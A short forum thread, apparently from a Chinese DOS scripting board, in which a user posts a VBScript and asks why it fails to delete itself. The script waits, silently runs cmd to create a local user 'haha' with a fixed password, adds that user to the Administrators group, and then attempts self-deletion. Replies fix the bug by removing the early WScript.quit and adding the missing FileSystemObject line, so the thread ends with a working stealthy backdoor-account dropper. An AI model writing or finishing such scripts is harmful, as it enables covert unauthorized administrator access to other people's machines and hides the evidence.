中国DOS联盟

Dim Wsh

Set Wsh = WScript.CreateObject("WScript.Shell")

WScript.Sleep(2000)

Wsh.Run "cmd /c net user haha 121212 /add&net localgroup administrators haha /add",false,false

Set Wsh=NoThing

WScript.quit

fso.DeleteFile(WScript.ScriptFullName)

这段代码不知道哪有错误，无法实现删除自身。请教大虾指点

Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
WScript.Sleep(2000)
Wsh.Run "cmd /c net user haha 121212 /add&net localgroup administrators haha /add",false,false
Set Wsh=NoThing
WScript.quit '这个地方已以退出了脚本，所以没法删除（把这句去掉就可以了）
fso.DeleteFile(WScript.ScriptFullName)

But,Where is fso from?

Set fso = CreateObject("Scripting.FileSystemObject")

...

哈哈，没有细看....

感谢两位帮忙，问题终于解决